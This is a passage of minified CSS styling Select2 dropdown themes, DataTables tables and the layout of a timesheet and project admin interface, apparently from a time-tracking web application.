b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--default .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:1px solid #000;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--above .select2-selection--single{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--below .select2-selection--single{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:#fff}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top,#fff 50%,#eee);background-image:-o-linear-gradient(top,#fff 50%,#eee 100%);background-image:linear-gradient(180deg,#fff 50%,#eee);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFFFFFFF",endColorstr="#FFEEEEEE",GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(180deg,#eee 50%,#ccc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFEEEEEE",endColorstr="#FFCCCCCC",GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,#fff,#eee 50%);background-image:-o-linear-gradient(top,#fff 0,#eee 50%);background-image:linear-gradient(180deg,#fff 0,#eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFFFFFFF",endColorstr="#FFEEEEEE",GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,#fff);background-image:-o-linear-gradient(top,#eee 50%,#fff 100%);background-image:linear-gradient(180deg,#eee 50%,#fff);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFEEEEEE",endColorstr="#FFFFFFFF",GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}.select2-container--bootstrap{display:block}.select2-container--bootstrap .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);background-color:#fff;border:1px solid #ccc;border-radius:4px;color:#555;font-size:14px;outline:0}.select2-container--bootstrap .select2-selection.form-control{border-radius:4px}.select2-container--bootstrap .select2-search--dropdown .select2-search__field{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);background-color:#fff;border:1px solid #ccc;border-radius:4px;color:#555;font-size:14px}.select2-container--bootstrap .select2-search__field{outline:0}.select2-container--bootstrap .select2-search__field::-webkit-input-placeholder{color:#999}.select2-container--bootstrap .select2-search__field:-moz-placeholder{color:#999}.select2-container--bootstrap .select2-search__field::-moz-placeholder{color:#999;opacity:1}.select2-container--bootstrap .select2-search__field:-ms-input-placeholder{color:#999}.select2-container--bootstrap .select2-results__option{padding:6px 12px}.select2-container--bootstrap .select2-results__option[role=group]{padding:0}.select2-container--bootstrap .select2-results__option[aria-disabled=true]{color:#777;cursor:not-allowed}.select2-container--bootstrap .select2-results__option[aria-selected=true]{background-color:#f5f5f5;color:#262626}.select2-container--bootstrap .select2-results__option--highlighted[aria-selected]{background-color:#337ab7;color:#fff}.select2-container--bootstrap .select2-results__option .select2-results__option{padding:6px 12px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option{margin-left:-12px;padding-left:24px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-24px;padding-left:36px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-36px;padding-left:48px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-48px;padding-left:60px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-60px;padding-left:72px}.select2-container--bootstrap .select2-results__group{color:#777;display:block;padding:6px 12px;font-size:12px;line-height:1.42857143;white-space:nowrap}.select2-container--bootstrap.select2-container--focus .select2-selection,.select2-container--bootstrap.select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;-webkit-transition:border-color .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;border-color:#66afe9}.select2-container--bootstrap.select2-container--open .select2-selection .select2-selection__arrow b{border-color:transparent transparent #999;border-width:0 4px 4px}.select2-container--bootstrap.select2-container--open.select2-container--below .select2-selection{border-bottom-right-radius:0;border-bottom-left-radius:0;border-bottom-color:transparent}.select2-container--bootstrap.select2-container--open.select2-container--above .select2-selection{border-top-right-radius:0;border-top-left-radius:0;border-top-color:transparent}.select2-container--bootstrap .select2-selection__clear{color:#999;cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--bootstrap .select2-selection__clear:hover{color:#333}.select2-container--bootstrap.select2-container--disabled .select2-selection{border-color:#ccc;-webkit-box-shadow:none;box-shadow:none}.select2-container--bootstrap.select2-container--disabled .select2-search__field,.select2-container--bootstrap.select2-container--disabled .select2-selection{cursor:not-allowed}.select2-container--bootstrap.select2-container--disabled .select2-selection,.select2-container--bootstrap.select2-container--disabled .select2-selection--multiple .select2-selection__choice{background-color:#eee}.select2-container--bootstrap.select2-container--disabled .select2-selection--multiple .select2-selection__choice__remove,.select2-container--bootstrap.select2-container--disabled .select2-selection__clear{display:none}.select2-container--bootstrap .select2-dropdown{-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175);border-color:#66afe9;overflow-x:hidden;margin-top:-1px}.select2-container--bootstrap .select2-dropdown--above{-webkit-box-shadow:0 -6px 12px rgba(0,0,0,.175);box-shadow:0 -6px 12px rgba(0,0,0,.175);margin-top:1px}.select2-container--bootstrap .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--bootstrap .select2-selection--single{height:34px;line-height:1.42857143;padding:6px 24px 6px 12px}.select2-container--bootstrap .select2-selection--single .select2-selection__arrow{position:absolute;bottom:0;right:12px;top:0;width:4px}.select2-container--bootstrap .select2-selection--single .select2-selection__arrow b{border-color:#999 transparent transparent;border-style:solid;border-width:4px 4px 0;height:0;left:0;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--bootstrap .select2-selection--single .select2-selection__rendered{color:#555;padding:0}.select2-container--bootstrap .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--bootstrap .select2-selection--multiple{min-height:34px;padding:0;height:auto}.select2-container--bootstrap .select2-selection--multiple .select2-selection__rendered{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;line-height:1.42857143;list-style:none;margin:0;overflow:hidden;padding:0;width:100%;text-overflow:ellipsis;white-space:nowrap}.select2-container--bootstrap .select2-selection--multiple .select2-selection__placeholder{color:#999;float:left;margin-top:5px}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice{color:#555;background:#fff;border:1px solid #ccc;border-radius:4px;cursor:default;float:left;margin:5px 0 0 6px;padding:0 6px}.select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field{background:0 0;padding:0 12px;height:32px;line-height:1.42857143;margin-top:0;min-width:5em}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:3px}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--bootstrap .select2-selection--multiple .select2-selection__clear{margin-top:6px}.form-group-sm .select2-container--bootstrap .select2-selection--single,.input-group-sm .select2-container--bootstrap .select2-selection--single,.select2-container--bootstrap .select2-selection--single.input-sm{border-radius:3px;font-size:12px;height:30px;line-height:1.5;padding:5px 22px 5px 10px}.form-group-sm .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.input-group-sm .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection--single.input-sm .select2-selection__arrow b{margin-left:-5px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple,.input-group-sm .select2-container--bootstrap .select2-selection--multiple,.select2-container--bootstrap .select2-selection--multiple.input-sm{min-height:30px;border-radius:3px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-selection__choice{font-size:12px;line-height:1.5;margin:4px 0 0 5px;padding:0 5px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-search--inline .select2-search__field{padding:0 10px;font-size:12px;height:28px;line-height:1.5}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-selection__clear{margin-top:5px}.form-group-lg .select2-container--bootstrap .select2-selection--single,.input-group-lg .select2-container--bootstrap .select2-selection--single,.select2-container--bootstrap .select2-selection--single.input-lg{border-radius:6px;font-size:18px;height:46px;line-height:1.3333333;padding:10px 31px 10px 16px}.form-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow,.input-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow,.select2-container--bootstrap .select2-selection--single.input-lg .select2-selection__arrow{width:5px}.form-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.input-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection--single.input-lg .select2-selection__arrow b{border-width:5px 5px 0;margin-left:-10px;margin-top:-2.5px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple,.input-group-lg .select2-container--bootstrap .select2-selection--multiple,.select2-container--bootstrap .select2-selection--multiple.input-lg{min-height:46px;border-radius:6px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-selection__choice{font-size:18px;line-height:1.3333333;border-radius:4px;margin:9px 0 0 8px;padding:0 10px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-search--inline .select2-search__field{padding:0 16px;font-size:18px;height:44px;line-height:1.3333333}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-selection__clear{margin-top:10px}.input-group-lg .select2-container--bootstrap .select2-selection.select2-container--open .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection.input-lg.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #999;border-width:0 5px 5px}.select2-container--bootstrap[dir=rtl] .select2-selection--single{padding-left:24px;padding-right:12px}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:0;padding-left:0;text-align:right}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__arrow{left:12px;right:auto}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__arrow b{margin-left:0}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__placeholder{float:right}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:0;margin-right:6px}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.has-warning .select2-dropdown,.has-warning .select2-selection{border-color:#8a6d3b}.has-warning .select2-container--focus .select2-selection,.has-warning .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;border-color:#66512c}.has-warning.select2-drop-active{border-color:#66512c}.has-warning.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#66512c}.has-error .select2-dropdown,.has-error .select2-selection{border-color:#a94442}.has-error .select2-container--focus .select2-selection,.has-error .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;border-color:#843534}.has-error.select2-drop-active{border-color:#843534}.has-error.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#843534}.has-success .select2-dropdown,.has-success .select2-selection{border-color:#3c763d}.has-success .select2-container--focus .select2-selection,.has-success .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;border-color:#2b542c}.has-success.select2-drop-active{border-color:#2b542c}.has-success.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#2b542c}.input-group>.select2-hidden-accessible:first-child+.select2-container--bootstrap>.selection>.select2-selection,.input-group>.select2-hidden-accessible:first-child+.select2-container--bootstrap>.selection>.select2-selection.form-control{border-bottom-right-radius:0;border-top-right-radius:0}.input-group>.select2-hidden-accessible:not(:first-child)+.select2-container--bootstrap:not(:last-child)>.selection>.select2-selection,.input-group>.select2-hidden-accessible:not(:first-child)+.select2-container--bootstrap:not(:last-child)>.selection>.select2-selection.form-control{border-radius:0}.input-group>.select2-hidden-accessible:not(:first-child):not(:last-child)+.select2-container--bootstrap:last-child>.selection>.select2-selection,.input-group>.select2-hidden-accessible:not(:first-child):not(:last-child)+.select2-container--bootstrap:last-child>.selection>.select2-selection.form-control{border-bottom-left-radius:0;border-top-left-radius:0}.input-group>.select2-container--bootstrap{display:table;table-layout:fixed;position:relative;z-index:2;width:100%;margin-bottom:0}.input-group>.select2-container--bootstrap>.selection>.select2-selection.form-control{float:none}.input-group>.select2-container--bootstrap.select2-container--focus,.input-group>.select2-container--bootstrap.select2-container--open{z-index:3}.input-group>.select2-container--bootstrap,.input-group>.select2-container--bootstrap .input-group-btn,.input-group>.select2-container--bootstrap .input-group-btn .btn{vertical-align:top}.form-control.select2-hidden-accessible{position:absolute!important;width:1px!important}@media (min-width:768px){.form-inline .select2-container--bootstrap{display:inline-block}}@media (max-width:768px){.main-header .logo{display:none}.control-sidebar,.fixed .content-wrapper,.fixed .right-side,.main-sidebar{padding-top:50px}}.error-page{margin-bottom:50px}@media print{.control-sidebar,.sf-toolbar{display:none!important}.col-print-12{width:100%}}.content{padding:15px 0}@media (min-width:768px){.content{padding:15px}}td.timesheet-description ul{padding-left:15px}td.timesheet-description p{margin:0}.box-body .menu-icon{width:35px;height:35px;border-radius:50%;text-align:center;line-height:35px;margin-right:15px}.avatar-xs{width:20px;height:20px}.avatar-sm{width:25px;height:25px}.avatar-md{width:30px;height:30px}.avatar-lg{width:40px;height:40px}.box-profile img.img-circle{width:100px}.box-profile .profile-username{margin-top:15px}.label-gray{background-color:#d2d6de}.dropdown-menu>li.delete>a{color:#dd4b39}.open-edit{cursor:pointer}td.w-min,th.w-min{width:1%;white-space:nowrap}table.dataTable thead>tr>th.hw-min{width:1%;white-space:normal}.box .box-body.no-padding div.comment{padding:10px}.box .box-tools .btn-pager{float:left;margin-right:5px}#activity_details_box th,#customer_details_box th,#project_details_box th{width:30%}.content-header{height:50px;border-top:1px solid rgba(0,0,0,.1);box-shadow:0 1px 2px rgba(0,0,0,.1)!important;background-color:#fff!important;padding:10px 0 0 10px}.content-header h1{padding-top:3px;float:left}.content-header h1 small{display:none}.content-header>.breadcrumb{position:absolute;float:right;background:transparent;top:0;right:0;padding-left:10px}@media (max-width:992px){.content-header>.breadcrumb{margin-top:0}}@media (min-width:768px){.content-header>.breadcrumb{right:10px}.content-header h1 small{display:inline-block}}.toolbar-pad{padding:10px}@media (min-width:768px){.toolbar form.navbar-form{font-size:14px}.toolbar form.navbar-form .form-control{display:inline-block;width:100%;vertical-align:middle}.toolbar form.navbar-form .control-label,.toolbar form.navbar-form .input-group{width:100%}.toolbar-pad{padding:10px 0}}@media (min-width:768px){.sidebar-mini.sidebar-collapse .sidebar-menu li.header{border-top-width:1px;border-top-style:solid;display:block!important;margin-top:16px;opacity:.4}.sidebar-mini.sidebar-collapse .sidebar-menu li.header span{display:none!important}}footer.main-footer{padding:5px;font-size:80%}.box .overlay>.fas,.overlay-wrapper .overlay>.fas,section.content .overlay>.fas{position:absolute;top:50vh;left:50vw;margin-left:-15px;margin-top:-15px;color:#000;font-size:30px}.box>.loading-img,.box>.overlay,.overlay-wrapper>.loading-img,.overlay-wrapper>.overlay,section.content>.overlay{position:fixed;top:0;left:0;width:100%;height:100%}.box .overlay,.overlay-wrapper .overlay,section.content .overlay{z-index:50;background:hsla(0,0%,100%,.7);border-radius:3px}.box .overlay.dark,.overlay-wrapper .overlay.dark,section.content .overlay.dark{background:rgba(0,0,0,.5)}div.dataTables_length label{font-weight:400;text-align:left;white-space:nowrap}div.dataTables_length select{width:75px;display:inline-block}div.dataTables_filter{text-align:right}div.dataTables_filter label{font-weight:400;white-space:nowrap;text-align:left}div.dataTables_filter input{margin-left:.5em;display:inline-block;width:auto}div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}@media screen and (max-width:767px){div.dataTables_filter,div.dataTables_info,div.dataTables_length,div.dataTables_paginate{text-align:center}div.DTTT{margin-bottom:.5em}}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable{clear:both;margin-bottom:0!important;max-width:none!important}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:before,table.dataTable thead .sorting_asc:before,table.dataTable thead .sorting_desc:before{position:absolute;top:10px;left:5px;display:block;font-family:Glyphicons Halflings;opacity:.5;font-size:12px}table.dataTable thead .sorting:before{opacity:.2;content:"\e150"}table.dataTable thead .sorting_asc:before{content:"\e155"}table.dataTable thead .sorting_desc:before{content:"\e156"}div.dataTables_scrollBody table.dataTable thead .sorting:before,div.dataTables_scrollBody table.dataTable thead .sorting_asc:before,div.dataTables_scrollBody table.dataTable thead .sorting_desc:before{display:none}table.dataTable thead .sorting_asc_disabled:before,table.dataTable thead .sorting_desc_disabled:before{color:#eee}table.dataTable thead>tr>th{vertical-align:top;white-space:nowrap}table.dataTable th:active{outline:none}table.dataTable.table-condensed thead>tr>th{padding-right:20px}table.dataTable.table-condensed thead .sorting:before,table.dataTable.table-condensed thead .sorting_asc:before,table.dataTable.table-condensed thead .sorting_desc:before{top:6px;right:6px}div.dataTables_scrollHead table{margin-bottom:0!important;border-bottom-left-radius:0;border-bottom-right-radius:0}div.dataTables_scrollHead table thead tr:last-child td:first-child,div.dataTables_scrollHead table thead tr:last-child th:first-child{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}div.dataTables_scrollBody table{border-top:none;margin-top:0!important;margin-bottom:0!important}div.dataTables_scrollBody tbody tr:first-child td,div.dataTables_scrollBody tbody tr:first-child th{border-top:none}div.dataTables_scrollFoot table{margin-top:0!important;border-top:none}table.table-bordered.dataTable{border-collapse:separate!important}table.table-bordered thead td,table.table-bordered thead th{border-left-width:0;border-top-width:0}table.table-bordered tbody td,table.table-bordered tbody th,table.table-bordered tfoot td,table.table-bordered tfoot th{border-left-width:0;border-bottom-width:0}table.table-bordered td:last-child,table.table-bordered th:last-child{border-right-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}.table.dataTable tbody tr.active td,.table.dataTable tbody tr.active th{background-color:#08c;color:#fff}.table.dataTable tbody tr.active:hover td,.table.dataTable tbody tr.active:hover th{background-color:#0075b0!important}.table.dataTable tbody tr.active td>a,.table.dataTable tbody tr.active th>a{color:#fff}.table-striped.dataTable tbody tr.active:nth-child(odd) td,.table-striped.dataTable tbody tr.active:nth-child(odd) th{background-color:#017ebc}table.dataTable th.sortable{padding-left:22px}table.dataTable.table>tbody>tr>td{vertical-align:middle}table.dataTable.table>tbody>tr>td.avatars{line-height:40px}table.dataTable.table>tbody>tr>td .img-circle{max-width:35px;margin-right:10px}table.dataTable.table>tbody>tr>td .img-circle.teamlead{box-shadow:0 0 5px 3px #d2d6de}span.label-activity,span.label-color,span.label-customer,span.label-meta,span.label-project,span.label-tag{display:inline-block}span.label-activity .dot,span.label-color .dot,span.label-customer .dot,span.label-meta .dot,span.label-project .dot,span.label-tag .dot{font-size:9px;margin-right:3px;color:#d2d6de}table.dataTable .actions{width:40px}table.dataTable tr.summary td{font-weight:700;border-bottom:1px solid #ccc;background-color:#eaeaea}table.dataTable tr th.multiCheckbox{width:15px}table.dataTable tr.overlapping{border-top:2px dotted red}table.dataTable td .btn-group{display:flex}table.dataTable td .label{font-size:85%;font-weight:500;padding:.3em .6em;line-height:24px}table.dataTable td span.label-activity a,table.dataTable td span.label-customer a,table.dataTable td span.label-project a{color:unset;padding-bottom:2px;border-bottom:1px dotted #d2d6de}table.dataTable td span.label-activity a:hover,table.dataTable td span.label-customer a:hover,table.dataTable td span.label-project a:hover{border-bottom:1px dotted #97a0b3}table.dataTable td span.label-invisible{opacity:.8}.popover-content .calendar-entry ul{padding:0;list-style-type:none}.external-events .external-event{vertical-align:middle;padding:0!important;display:inline-block;position:relative;width:100%}.external-events .title{padding:5px 0 5px 10px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.external-events .info-icon{width:30px;white-space:nowrap;padding:5px 7px;border-left:1px solid}.fc-bootstrap3 .table-bordered>tbody>tr>td,.fc-bootstrap3 .table-bordered>thead>tr>td,.fc-bootstrap3 .table-bordered>thead>tr>th{border:1px solid #ddd}.fc-bootstrap3 .fc-head{background-color:#fafafa}.fc-bootstrap3 td.fc-today{background-color:#fcf8e3!important}section.dashboard .info-box .info-box-text{white-space:normal}section .box-body-scrollable{overflow:auto;max-height:300px}.navbar-nav img.img-circle{max-height:26px;margin-top:-2px}.navbar-nav li>a.ddt-large{padding:15px 12px 11px 10px;font-size:10px}.navbar-nav li.messages-menu ul.menu li a:hover .pull-left i{color:#dd4b39}.navbar-nav li.messages-menu ul.menu li a .pull-left i{color:#444}.navbar-nav .messages-menu>.dropdown-menu>li .menu>li>a>p{overflow:hidden;text-overflow:ellipsis}.navbar-nav .messages-menu>.dropdown-menu>li .menu>li>a>h4>span{margin-right:55px}.navbar-nav .dropdown-menu{box-shadow:0 8px 